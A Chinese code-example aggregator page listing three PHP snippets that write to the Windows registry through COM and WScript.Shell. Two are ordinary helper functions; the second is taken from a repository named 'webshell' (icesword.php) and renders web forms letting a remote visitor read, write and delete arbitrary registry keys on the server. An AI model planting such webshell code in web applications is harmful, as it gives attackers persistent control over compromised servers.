当前位置: 首页>>代码示例>>PHP>>正文


PHP COM::RegWrite方法代码示例

本文整理汇总了PHP中COM::RegWrite方法的典型用法代码示例。如果您正苦于以下问题:PHP COM::RegWrite方法的具体用法?PHP COM::RegWrite怎么用?PHP COM::RegWrite使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在COM的用法示例。


在下文中一共展示了COM::RegWrite方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: writeRegistry

 /**
  * Function writes a value to the registry
  * @param <string> $folder Folder to save the registry value in
  * @param <string> $key Key to write to the registry
  * @param <string> $value Value to write to the registry
  * @param <string> $type (optional) Type of registry that is being used
  * @return <boolean> Whether registry was successfully written to or not
  * @category Extra
  * <code>
  *  $result = Extra::writeRegistry('registry\\path', 'key', 'value');
  * </code>
  */
 function writeRegistry($folder, $key, $value, $type = 'REG_SZ')
 {
     try {
         $WshShell = new COM("WScript.Shell");
         $registry = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" . $folder . "\\" . $key;
         $result = $WshShell->RegWrite($registry, $value, $type);
         echo "Entry is Successfully written at : " . $registry;
         return $result;
     } catch (Exception $err) {
         return $err->getMessage();
     }
     return FALSE;
 }
开发者ID:johnulist,项目名称:PHP-Library,代码行数:25,代码来源:extra.php

示例2: phpreg

function phpreg()
{
    $shell1 = new COM("wscript.shell") or die("require windows host");
    $action = isset($_POST['action']) ? $_POST['action'] : '';
    echo '<div class="actall"><h5>Windows注册表读写</h5></div>';
    print <<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>   
路径:<input type="hidden" name="action" value="读取">   
<input type="text" name="rpath" value="{$rpath}" size="70">   
<input class="bt" type="submit" value="读取"></form><br></TD></TR></div>   
END;
    $rpath = isset($_POST['rpath']) ? $_POST['rpath'] : '';
    $rpath = str_replace("\\\\", "\\", $rpath);
    if ($action == "read") {
        $out = $shell1->RegRead($rpath);
        echo '<pre>' . var_dump($out) . '</pre>';
    }
    print <<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>位置:<input type="text" name="wpath" value="{$wpath}" size="70"><BR><br> 
类型:<input type="text" name="wtype" value="{$wtype}" size="20"> 值:<input type="text" name="wvalue" value="{$wvalue}" size="30">
<input type="hidden" name="action" value="write"><input class="bt" type="submit" value="写入"></form></TD></TR></div>   
END;
    $wpath = isset($_POST['wpath']) ? $_POST['wpath'] : '';
    $wpath = str_replace("\\\\", "\\", $wpath);
    $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : '';
    $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : '';
    if ($action == "write") {
        $shell1->RegWrite($wpath, $wvalue, $wtype);
    }
    print <<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>  
位置:<input type="hidden" name="action" value="del">   
<input type="text" name="dpath" value="{$dpath}" size="70">   
<input class="bt" type="submit" value="删"></form></TD></TR></div>   
END;
    $dpath = isset($_POST['dpath']) ? $_POST['dpath'] : '';
    $dpath = str_replace("\\\\", "\\", $dpath);
    if ($action == "del") {
        $out = $shell1->RegDelete($dpath);
    }
}
开发者ID:mcanv,项目名称:webshell,代码行数:44,代码来源:icesword.php

示例3: write

 public function write($key, $value, $type = "REG_EXPAND_SZ")
 {
     try {
         $result = $this->shell->RegWrite($key, $value, $type);
         return $result;
     } catch (Exception $e) {
         echo "Write Registry Key : {$key} error." . PHP_EOL;
         echo "Exception Code " . $e->getCode() . PHP_EOL;
         echo "Exception Message : " . $e->getMessage() . PHP_EOL;
     }
     return false;
 }
开发者ID:pigochu,项目名称:phpdevserver,代码行数:12,代码来源:common.php


注:本文中的COM::RegWrite方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。